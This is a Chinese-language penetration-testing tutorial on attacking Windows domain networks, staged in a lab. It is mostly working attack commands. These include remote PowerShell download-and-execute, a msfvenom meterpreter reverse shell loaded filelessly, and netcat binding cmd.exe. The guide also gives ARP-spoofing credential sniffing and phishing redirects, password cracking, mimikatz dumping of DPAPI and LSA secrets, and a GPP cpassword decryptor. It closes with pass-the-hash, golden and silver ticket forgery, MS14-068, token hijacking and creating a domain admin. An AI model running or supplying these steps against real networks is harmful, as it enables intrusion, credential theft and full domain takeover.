前言
内网渗透提前是我们已经通过各种手段拿到内网中某一台可以通向外网的服务器或主机的权限,然后把此当作跳板,内网渗透的目的是拿到DC域控制器的权限,达到控制整个域环境
域环境
域基础知识
域:
Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从Windows Server 2003开始 , Active Directory是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。
域控制器(DC):
域控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。
父域和子域:
出于管理以及其他的要求,需要在网络中划分多个域!第一个域为父域,各部分域成为子域。
域树:
指若干个域通过建立信任关系组成的集合。
域名服务器:
是指用于域名和与之对应ip地址之间转换的服务器。
一般内网渗透时,就是寻找DNS服务器来定位DC,DC和DNS服务器一般在一台机器上。
域内权限
域本地组:
域本地组的成员可以来自森林中的任何域,域本地组用来访问同一域中的资源。在本机模式中的域本地组可以包含森林中任意域内的用户账户、全局组和通用组以及同一域内的域本地组。
域全局组:
可以嵌套在其他组中,可以再域森林的任何域内指派权限。
域通用组:
通用组是集合了上面两种组的优点,即可以从任何域中添加用户和组,可以嵌套于其他域组中。
域环境的搭建
配置环境:
主域:windows server 2008
主机:windows server 2003
搭建步骤:
1. 查看自己的ip地址,将dns服务器设置为自己的ip地址
2.添加域服务
选择服务器管理——>角色——>添加角色——>Active Directory域服务器,下一步即可
3.运行输入dcpromo,创建域
然后一直选择是,下一步,设置一个属于自己的密码,等待安装完成即可
4.将计算机加入域网络
首先将dns设置为主域的ip地址,之后点击计算机名->更改->选择域,输入主域的账号密码即可成功加入域
登录域控 域控名\用户名
内网信息搜集
查看网络配置
• Windows系统:ipconfig /all
• Linux系统:ifconfig
查看操作系统信息
• Windows系统:systeminfo | findstr OS
• Linux系统:uname –a 或 cat /proc/version
查看安装的软件及版本
• Windows系统: wmic product get name,version
查看本机服务信息
• Windows系统:wmic service list brief 或 net start
• Liunx系统 :service --status-all
• + 表示服务正在运行;
• - 表示服务已停止;
• 服务状态:service 服务名 status
查看进程列表
• Windows系统
• 查看进程:tasklist
• 查看某一个进程: tasklist | findstr “ftp”
• 查看进程:wmic process get name,processid
查看进程列表
• Linux系统
• 查看进程: ps –aux 或 ps –ef
• 搜索某个进程: ps –aux | grep ftp
查看启动信息
• Windows系统:wmic startup get command,caption
• Linux系统:dmesg
查看任务计划
• Windows系统:at 或 schtasks
• net start 可以查看对应的计划任务服务task scheduler是否启动
• Linux系统: crontab -l
查看开机时间
• Windows系统:net statistics workstation
• Linux系统:cat /proc/uptime
查看用户列表
• Windows系统:
• 查看本即用户列表:net user
• 查看本地管理员信息:net localgroup administrators
• 查看当前在线用户:query user || qwinsta
• Linux系统
• 查看所有用户: cat /etc/passwd
• 查看用户组: cat /etc/group
查看端口列表
• Windows系统: netstat –ano
• 根据pid结合tasklist可以找到具体的程序
• Linux系统: netstat –antpl
查看补丁列表
• Windows系统
• systeminfo
• wmic qfe get caption,description,hotfixid,installedon
查看本机共享列表
• Windows系统
• net share
• wmic share get name,path,status
查看路由表及ARP信息
• Windows系统
• route print
• arp -a
• Linux系统:
• arp –a
• route
查看防火墙相关配置
• Windows Server 2003之后:
• 查看防火墙配置: netsh firewall show config
• 打开防火墙配置: netsh advfirewall set allprofiles state on
• 关闭防火墙配置: netsh advfirewall set allprofiles state off
• 修改防火墙配置:
允许程序入站:• netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
• 允许指定程序出站 :• netsh advfirewall firewall add rule name="out nc" dir=out action=allow program="C:\nc.exe"
• 允许RDP(3389)端口放行: netsh advfirewall firewall add rule name="Remote
Desktop" protocol=TCP dir=in localport=3389 action=allow
开启和关闭远程桌面
• 打开远程桌面:
• REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v
fDenyTSConnections /t REG_DWORD /d 0 /f
• 关闭远程桌面:
• REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v
fDenyTSConnections /t REG_DWORD /d 1 /f
• 查看远程桌面开启状态:
• REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v
fDenyTSConnections /t REG_DWORD
查看当前用户权限
• Windows/Linux系统:whoami
查看域信息
• Windows系统
• ipconfig /all :查看网关地址、DNS的IP地址、域名、本即是否DNS服务器处于一个网段
• nslookup +域名 :解析出的域名服务器的IP地址和DNS服务器IP是否一致;
• systeminfo :确定用户的登陆域
查看域信息
• 判断是否在主域: net time /domain
• 依据:域服务器通常会同时作为时间服务器使用
• 注意:需要在域用户登录的机器中查看
• 查询当前登录域及登录用户信息: net config workstation
域信息收集——查询域内所有用户
• 查询域内所有用户:net group /domain
• 注意:在域用户登录的机器中查看
查询域成员机器
• 查询域成员计算机:net group “domain computers”/domain
获取域密码策略信息
• 获取域密码策略信息:net accounts /domain
获取域信任信息
• 获取域信任信息:nltest /domain_trusts
查询域内用户和管理员——查询用户列表
• 向域控制器查询:net user /domain
• 获取域内用户详细信息 :wmic useraccount get /all
• 查询存在用户 :dsquery user
• 查询本地管理员组用户:net localgroup administrators
查询管理员用户组
• 查询域管理员用户:net group “domain admins” /domain
• 查询管理员用户组:net group “Enterprise admins” /domain
端口收集
端口号 | 端口说明 | 攻击技巧 |
---|---|---|
21/22/69 | ftp/tftp:文件传输协议 | 爆破\嗅探\溢出\后门 |
22 | ssh:远程连接 | 爆破OpenSSH;28个退格 |
23 | telnet:远程连接 | 爆破\嗅探 |
25 | smtp:邮件服务 | 邮件伪造 |
53 | DNS:域名系统 | DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙 |
67/68 | dhcp | 劫持\欺骗 |
110 | pop3 | 爆破 |
139 | samba | 爆破\未授权访问\远程代码执行 |
143 | imap | 爆破 |
161 | snmp | 爆破 |
389 | ldap | 注入攻击\未授权访问 |
512/513/514 | linux r | 直接使用rlogin |
873 | rsync | 未授权访问 |
1080 | socket | 爆破:进行内网渗透 |
1352 | lotus | 爆破:弱口令\信息泄漏:源代码 |
1433 | mssql | 爆破:使用系统用户登录\注入攻击 |
1521 | oracle | 爆破:TNS\注入攻击 |
2049 | nfs | 配置不当 |
2181 | zookeeper | 未授权访问 |
3306 | mysql | 爆破\拒绝服务\注入 |
3389 | rdp | 爆破\Shift后门 |
4848 | glassfish | 爆破:控制台弱口令\认证绕过 |
5000 | sybase/DB2 | 爆破\注入 |
5432 | postgresql | 缓冲区溢出\注入攻击\爆破:弱口令 |
5632 | pcanywhere | 拒绝服务\代码执行 |
5900 | vnc | 爆破:弱口令\认证绕过 |
6379 | redis | 未授权访问\爆破:弱口令 |
7001 | weblogic | Java反序列化\控制台弱口令\控制台部署webshell |
80/443/8080 | web | 常见web攻击\控制台爆破\对应服务器版本漏洞 |
8069 | zabbix | 远程命令执行 |
9090 | websphere控制台 | 爆破:控制台弱口令\Java反序列 |
9200/9300 | elasticsearch | 远程代码执行 |
11211 | memcacache | 未授权访问 |
27017 | mongodb | 爆破\未授权访问 |
存活主机扫描
nbtscan(非常轻量):
nbtscan.exe 192.168.229.0/24
nmap
nmap -sP 192.168.229.0/24
duan
使用手册
arp-scan
sudo arp-scan 192.168.229.0/24
Powersploit框架
powersploit是一款基于powershell的后渗透框架软件,包含很多powershell攻击脚本,主要用于信息侦察、权限提升、权限维持
下载地址
该脚本有以下模块
Get-NetDomain #查看域名称
Get-NetDomainController #获取域控的信息
Get-NetForest #查看域内详细的信息
Get-Netuser #获取域内所有用户的详细信息
Get-NetUser | select name #获得域内所有用户名
Get-NetGroup #获取域内所有组信息
Get-NetGroup | select name #获取域内所有的组名
Get-NetGroup *admin* | select name #获得域内组中带有admin的
Get-NetGroup "Domain Admins" #查看组"Domain Admins"组的信息
Get-NetGroup -UserName test #获得域内组中用户test的信息
Get-UserEvent #获取指定用户日志信息
Get-NetComputer #获取域内所有机器的详细信息
Get-NetComputer | select name #获得域内主机的名字
Get-Netshare #获取本机的网络共享
Get-NetProcess #获取本机进程的详细信息
Get-NetOU #获取域内OU信息
Get-NetFileServer #根据SPN获取当前域使用的文件服务器
Get-NetSession #获取在指定服务器存在的Session信息
Get-NetRDPSESSION #获取本机的RDP连接session信息
Get-NetGPO #获取域内所有组策略对象
Get-ADOBJECT #获取活动目录的信息
Get-DomainPolicy #获取域默认策略
Invoke-UserHunter #查询指定用户登录过的机器
Invoke-EnumerateLocalAdmin #枚举出本地的管理员信息
Invoke-ProcessHunter #判断当前机器哪些进程有管理员权限
Invoke-UserEventHunter #根据用户日志获取某域用户登陆过哪些域机器
PowerView脚本本地包含
powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain
远程包含(自己搭建网站放上脚本位置)
powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.229.1/PowerView.ps1');import-module .\powerview.ps1;Get-NetDomain
端口扫描脚本 Invoke-Portscan.ps1
powershell -exec bypass Import-Module .\Invoke-Portscan.ps1;invoke-portscan -hosts 192.168.229.1,192.168.229.254 -ports '22,23,80,445'
利用Invoke-ReflectivePEInjection实现powershell无文件落地运行
利用反射加载可以躲过某些杀毒软件的检测
msf生成木马文件(注意靶机是多少位就生成多少位的,32位用在64位系统也不可以,否则会报错)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.229.132 lport=12345 -f exe >shell.exe
以下在powershell中执行
远程加载Powersploit的PE反射模块
iex(New-Object Net.WebClient).DownloadString('http://192.168.229.1/Invoke-ReflectivePEInjection.ps1')
继续加载base64编码后的payload,赋值给一个变量
$b64Str = (New-Object Net.WebClient).DownloadString('http://192.168.229.1/a.txt')
python base64编码程序
import base64
with open(r'C:\Users\11502\Desktop\shell.exe','rb') as f:
print(base64.b64encode(f.read()).decode('utf-8'))
靶机解码payload
$PEBytes = [System.Convert]::FromBase64String($b64str)
反射调用
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
以下在cmd中执行(为整合版只有一条长代码)
powershell "$b64Str = (New-Object Net.WebClient).DownloadString('http://192.168.229.1/a.txt');iex(New-Object Net.WebClient).DownloadString('http://192.168.229.1/Invoke-ReflectivePEInjection.ps1');$PEBytes = [System.Convert]::FromBase64String($b64Str);Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR"
执行结果:
msf上线提示:
内网代理穿透
netcat瑞士军刀
nc建立会话通信
服务端 nc.exe -lp 12345
连接端 nc.exe 192.168.229.134 12345
nc进行端口扫描
nc -vz -w 2 192.168.229.134 80
nc传输文件
发文件:nc -lp 12345 <1.txt
收文件:nc 192.168.229.134 >haha.txt
nc建立中断会话
服务端:nc-lp 12345 -t -e cmd.exe
连接:nc 192.168.229.134 12345
termite
termite是一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适应性更强,也更为方便
程序分为admin(控制端)和代理节点agent
-l指定本地socks端口
-c指定远程机器ip
-p指定远程机器Socks端口
内网环境拓扑图:
2个框分别代表2个网络中含有的机器
将2个系统全部开启agent监听
通过控制端进行连接
通过show命令展示连接的节点,id=0是攻击机,通过goto命令将节点转移到id=1(server 2003)
通过conncet命令连接到win7
使用shell命令执行win7终端
通过shell命令本地开放8899端口,将数据转发到8899端口用nc连接执行
端口转发lcxtran
将3389转发到1188端口上,通过127.0.0.1:1188进行连接
总结:以上是termite的基本用法,termite是一个多系统通用的软件,包含许多其他的版本,这里只演示了windows
SSH代理
正向代理:
如图host a和b能通信b和c能通信,我们就可以通过ssh正向代理将端口转发到本机上,从而访问c的端口
格式 ssh -L 要转发到本地的端口号:要转发的ip:要转发的ip对应的端口 中间服务器的ip@服务器用户名
实验环境:
kali和ubuntn相连 ubuntn和server 2003相连
192.168.229.134:82为2003的网站ip 192.168.229.136为服务器ip
反向代理
将本地端口转发到内网端口
通过python开启一个http服务器
python3 -m http.server
通过一下命令
ssh -R 192.168.229.139:8001:127.0.0.1:8000 webper@192.168.229.136
将kali的8000端口转发到内网的8001端口
但是会被中间主机给拦下,不会转发到内网服务器,需要做进一步的端口转发
ssh socks代理
连接上socks代理之后,我们便可以利用公网主机的流量访问外网,或者利用proxychains扫描内网主机
ssh -D 8080 webper@192.168.229.136
修改proxychains配置文件进行代理
vim /etc/proxychains.conf
msf多级网络穿透(推荐)
msf可以和许多模块进行联动,比较推荐
ipconfig查看有几个网段,添加autoroute路由 background调用想要的模块即可,只要是在msf之内的任何模块都会自动转发这个路由
启动socks4(建议选择版本socks4)
设置srvhost默认端口1080 run启动
修改proxychains端口 使用 nmap扫描即可
使用永恒之蓝漏洞利用获取权限
横向渗透
在已经攻占部分内网主机的前提下,利用现有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个网段、拥有最高权限的目的。在很多时候,内网渗透的起点往往只是一台通过漏洞攻陷的跳板,横向渗透就是通过这个突破口去不断扩大在本网段内的战果。
进入内网维持好权限后接下来要做的就是对当前网络信息进行全面的信息收集。分析自己所处的网络位置、计算机信息、横向资产、服务与端口(漏洞扫描及利用)、敏感数据(如ftp链接记录、浏览器访问记录、各服务保存的密码、数据库等)
服务攻击:爆破、漏洞利用、欺骗、钓鱼
系统漏洞
可以利用系统漏洞直接获取内网主机权限,如ms17010,ms08067以及最2020-0796等漏洞,根据systeminfo查询补丁进行漏洞对比
流量监听工具
常用工具
cain
wireshark
ettrcap
监听内容:(未加密的一些协议)
- 服务连接密码
- 网站登录密码
- 敏感数据
利用cain进行arp欺骗
ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。
局域网中的主机1与主机2通信,主机1会先发送ARP请求包(请求包中有2的IP地址),2发送ARP响应包给1,1获得主机A的MAC地址,1利用MAC地址给2传输数据。这里主机A通过使用Abel&cain软件,主动给目标B发送ARP回应包(数据包中携带IP为网关的IP,MAC是A主机的MAC),让目标B更新自己的ARP缓存表。更新后B本地ARP表中网关的MAC地址就是主机A的MAC地址,在主机B看来网关就是A,达到欺骗局域网中某个特定目标的目的。
运行cain,选择configration ,在snipper中选择自己的网卡,点击确定
点击 start snipper 按钮在sniffer界面右键选择scan MAC address 扫描内网中存存活主机
在APR界面点击加号选择我们要劫持的ip地址点击ok
单击start arp按钮进行劫持,如果登录http网站password界面就会显示账号密码
arp界面也会显示访问的协议
利用wireshark进行流量分析
通过arp劫持让流量都经过本机,wireshark可以抓到内网中所有的流量包,包括其他电脑之间的交互,但是仅限于内网主机之间交互的流量包
利用过滤器抓取ftp协议包
会发现user和pass数据包中都有显示,同理也可以抓telnet协议
过滤来源 ip
ip.src ==你的ip
过滤目标ip
ip.dst ==你的ip
wireshark过滤表达式
利用NetFuke进行arp劫持进行flash钓鱼攻击
设置嗅探
设置arp欺骗ip
设置插件修改器,设置html.body跳转到flash钓鱼网页
开始运行,此刻被arp劫持的主机无论访问什么网站都会自动跳转到我们flash钓鱼网站
靶机用的ie浏览器所以显示不出来,正常情况下诱导下载shell文件等待上线即可
EvilFocaSetup
也是arp欺骗工具,可以自动扫描内网主机
ettercap
ettercap是linux平台的arp劫持工具
启动Ettercap
在kali的终端中输入
ettercap -G
点击右上角的勾号
扫描局域网中存在的主机
选中网关点击 Add to Target1
选中靶机点击 Add to Target2
选择arp poisoning开始arp劫持
启动界面
开启嗅探 | Sniffing at startup |
---|---|
选择网卡 | Primary interface |
是否开启桥接模式 | Bridged sniffing |
桥接模式下的网卡 | Bridged interface |
中间人攻击菜单
ARP poisoning | ARP攻击 |
---|---|
DNP poisoning | DNP攻击 |
ICMP redirect | ICMP重定向攻击 |
Port stealing | 端口欺骗 |
DHCP spoofing | DHCP欺骗 |
stop MITM attack(s) | 停止攻击 |
SSL intercept | SSL嗅探 |
密码爆破攻击
hydra
hydra是一个自动化的爆破工具,暴力破解弱密码,支持众多协议,已经集成到KailLinux中,直接在终端打开即可。
hydra支持的服务有:POP3,SMB,RDP,SSH,FTP,POP3,Telnet,MYSQ
参数列表
-l:指定单个用户名,适合在知道用户名爆破密码时使用
-L:指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径) 用户字典
-p:指定单个密码,适合在知道密码爆破用户名时使用
-P:指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径) 密码字典
-C:当用户名与密码存储到一个文件时使用此参数,注意,文件(字典)存储的格式必须为 "用户名:密码" 的格式。
-M:指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 "地址:端口"
-t:指定爆破时的任务数量(可以理解为线程数),默认为16
-s:指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口
-S:指定爆破时使用SSL连接
-e:空密码探测和指定用户密码探测(ns)
-R:继续从上一次爆破进度上继续爆破
-v/-V:显示爆破的详细信息
-f:一但爆破成功一个就停止爆破
-o:将找到用户密码对写入文件中而不是stdout
-4/-6:use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
server:代表要攻击的目标IP(单个),多个目标时请使用 -M 参数
OPT:爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get
hydra爆破telnet密码
hydra -l administrator -P /home/kali/Desktop/pass.txt -t 30 -vV telnet://192.168.229.143
爆破成功后都会以绿色显示
hashcat
Hashcat是一个密码恢复工具。直到2015年,它都有一个专有的代码库,但随后作为开源软件发布。版本适用于 Linux、OS X 和 Windows。哈希卡支持的哈希算法的示例包括 LM 哈希、MD4、MD5、SHA 系列和 Unix Crypt 格式,以及 MySQL 和 Cisco PIX 中使用的算法
我们可以使用hashcat --help获取帮助
我们可以使用.\hashcat -a来选择破解密码的模式,后面接不同的参数代表着不同的破解方式
-a代表选择攻击模式 -m选择破解的类型
使用hashcat加载字典破解hash值
hashcat /home/kali/Desktop/a.txt -m 0 -a 0 /home/kali/Desktop/pass.txt
爆破成功会返回结果
john
john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES 、 MD4 、 MD5 等。 John 支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix 、 Linux 、 Windows 、 DOS 模式、 BeOS 和 OpenVMS ,主要目的是破解不够牢固的 Unix/Linux 系统密码。
使用默认字典破解加密linux密码
将etc/passwd保存到1.txt
破解windows密码
使用pwdump导出windows的密码
使用john破解
爆破phpmyadmin密码
psexec
PsExec是SysInternals套件中的一款强大的软件。攻击者通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性。
PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。
可以用在爆破成功密码之后
连接主机cmd
psExec.exe \\192.168.229.134 -u adminsitrator -p 123456 cmd
使用incognito劫持身份提升权限
incognito.exe -h 192.168.229.134 -u administrator -p 123456 list_tokens -u #查找03的可用身份进行劫持
incognito.exe -h 192.168.229.134 -u administrator -p 123456 execute -c "NT AUTHORITY\SYSTEM" cmd.exe #劫持system权限
域控账号登陆过普通主机,可以尝试拿到域低权限账号利用incognito工具劫持域控身份
查找被攻击的计算机中是否有DC的token
incognito.exe -h 192.168.200.11 -u admin -p 123123 list_tokens -u#利用DA的token创建新的DC,调用DC的cmd.exe
incognito.exe -h 192.168.200.11 -u admin -p 123123 execute -c 'XY\ADMINISTRATOR' cm
d.exe#执行创建DC命令
net user hh 123.com /add /domain
net group 'domain admins' hh /add /domain
本地rdp密码读取
从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。
包括的范围有下面这些:
- IE、Chrome的登录表单自动完成
- Powershell加密函数
- Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
- FTP管理账户密码
- 共享资源文件夹的访问密码
- 无线网络帐户密钥和密码
- 远程桌面身份凭证
- EFS
- EAP/TLS 和 802.1x的身份凭证
- Credential Manager中的数据
- 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。
其中就包括了我们所说的远程桌面身份凭证。Dpapi采用的加密类型为对称加密,即找到了密钥,就能解开物理存储的加密信息。
Master Key Files
存放密钥的文件叫做Master Key Files,
用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
Master Key file的同级目录还有一个Preferred文件,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期.
本地演示:
远程桌面连接并保存凭据
运行cmdkey /list查看保存的凭据
查找本地的Credentials目录文件,记住文件名
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
使用mimikatz获取guidmasterkey
privilege::debug #提升权限
dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\A47CA779D8B065E5E81B05EC6C58173B #最后这串地址就是获取到的Credentials目录下的文件
有时mimikatz是不能标记复制的,使用以下命令可以将结果存储下来
mimikatz.exe ""privilege::debug"" ""sekurlsa::dpapi full"" exit >> c:\log.txt
通过我们记录的guidmastkey来找到对应的mastkey,mimikatz执行以下命令获取账号密码
dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\A47CA779D8B065E5E81B05EC6C58173B /masterkey:e9ee6204ad79bad9ba20e5c474b830ed84e68d1207bcc9f8bb94c49e10a375a0e9b6523acd6abadd8d1257b8b7294fc05541cf276ff8e3475e72c5c3cd17c9ca
#路径要替换为上面代码的路径 masterkey是刚找到的
这里会看到我们连接的账号密码以及ip地址
域环境渗透
Kerberos与NTLM
kerberos协议介绍
TGT是验证你是否是域的用户,如果验证到是域的用户就给你颁发TGS,你可以带着你的TGS去访问域的内容
TGT就是所谓的黄金票据,TGS就是白银票据,其中TGS具有时效性
NTLM
1、NTLMHash:将明文口令转换成十六进制,转换成Unicode格式,然后对Unicode字符串进行MD4加密,这个结果就是32位的十六进制NTLMhash。
2、NTLM协议认证过程
1、客户端向服务器发送包含 “登录名”的请求
2、服务端接收到请求后,生成16位的随机说,这个随机数称为的 Challenge,把Challenge以明文发送给客户端;同时使用“登录名”对应的NTLMHash加密 Challenge,生成 CHallenge1。
3、客户端使用NTLMhash对 Challenge 进行加密,生成 Response ,然后把 Response 发送给客户端
4、服务端接收到 Response 之后,和Challenge1 进行比对,若相等则认证通过。
域安全策略攻击测试 GPP 漏洞利用
Windows 2008 Server引入了一项称为组策略首选项(Group Policy Preferences)的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,批量修改域内机器的本地管理员账号名称与密码。
1.新建组织单位xyz,将域用户放入xyz,组策略是以组织单位为单位,所以可以看到新建的xyz
2.新建GPO命名为test,编辑test添加一个修改密码的策略
gpupdate /force #快速更新策略 默认五分钟更新
3.使用xyz用户登录域内主机,找到如下路径
\\kaeiy.com\SYSVOL\kaeiy.com\Policies\
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,即Groups.xml
,该文件中保存了该组策略更新后的密码。
根据详细信息中的唯一ID选择对应的文件夹
找到文件路径下的Groups.XML文件打开,保存其中的cpassword
{3BA919DA-407E-4780-98F8-B8C2BC3E37C8}\User\Preferences\Groups
此为aes256加密,但是微软公司将其加密的秘钥公开了,所以很容易破解
密码破解方式
powershell脚本
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "haNeFLuCPPa42VoahM8WYQ"
kali自带gpp-decrypt
漏洞原因:管理员可以通过在组策略首选项中一键给域中计算机下发策略,其策略信息如组策略数据、域数据存储在SYSVOL文件夹中,域用户都可以访问该文件夹。若通过组策略修改域内机器管理员密码,其密文信息会保存在SYSVOL文件夹内。攻击者如果获取了该密码信息就可以破解,相当于就获取到了管理员密码
局限性:win < = 2008r2或没有打 KB2962486补丁
PTH(Pass The Hash)哈希传递攻击
PTH,即Pass The Hash,首先我们来说下为什么要使用HASH传递,一是目标主机在win server 2012之后,lsass.exe进程中是抓不到明文密码的;二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只要我们获取到hash,我们依然可以正常登录。
windows登录认证机制
(1):首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地
(2)客户端将username明文传输到域控主机
(3):然后域控会随机生成16字节的challenge挑战码返回给客户端
(4):客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
(5):服务端将客户端发来的信息转发给域控
(6):域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并且使用自己存储的password的hash对对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则就验证失败
哈希传递的原理
NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统
Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在windows中,Hash的结构通常如下
username:RID:LM-HASH:NT-HASH
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit >>1.txt
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit >>log2.txt
#使用任意一条命令获取hash
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:kaeiy /user:kaeiy /ntlm:c9bd8134aa59332ae5b6acd
#替换相应的域 用户名和ntml hash
更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号(SID为500)例外-----使用该账号的散列值依然可以进行哈希传递。这里强调的是SID为500的账号,在一些计算机中,即使将Administator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到KB2871997的影响。
黄金票据攻击
所需条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt
#获取krbtgt的ntlm
whoami /all获取sid,最后一段"-1001"去掉
mimikatz.exe "kerberos::golden /user:haha /domain:kaeiy.com /sid:S-1-5-21-690132841-1391383167-2594731052 /krbtgt:aa7b527de7b1e26f1fb7e426adb70f37 /ptt" exit
#替换相应参数执行命令
通过klist命令发现本地已经存在凭据
通过命令发现可以成功访问c盘
使用psexec连接shell,添加用户即可
psexec.exe \\WIN-7GG3FBI4S9R.kaeiy.com cmd.exe
白银票据攻击
所需条件
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
获取域控hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 2.txt
获取sid
执行命令注入白银票据
mimikatz.exe "kerberos::golden /user:xyz /domain:kaeiy.com /sid:S-1-5-21-690132841-1391383167-2594731052 /target:WIN-7GG3FBI4S9R.kaeiy.com /service:cifs /rc4:faaf63a0bb5b15ca7531262f9c741cd1 /ptt" exit
ms14-068 漏洞利用
我们可以利用这个漏洞来进行票据伪造
远程权限提升漏洞存在于 Microsoft Windows 的 Kerberos KDC 实现中。存在该漏洞的症状是,Microsoft Kerberos KDC 实现无法正确验证签名,这可能造成 Kerberos 服务票证的某些方面被人伪造。简单来说就是一个域内的普通账户可以利用此漏洞进行权限提升,升级为域管理员权限。
具备条件
1、任意域账户
2、域账户密码
3、SID
4、域控服务器IP
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
将我们sid和账号密码填写,运行生成票据
ms14-068.exe -u haha@kaeiy.com -p 123.com -s S-1-5-21-690132841-1391383167-2594731052-1111 -d WIN-7GG3FBI4S9R.kaeiy.com
利用mimikatz导入票据
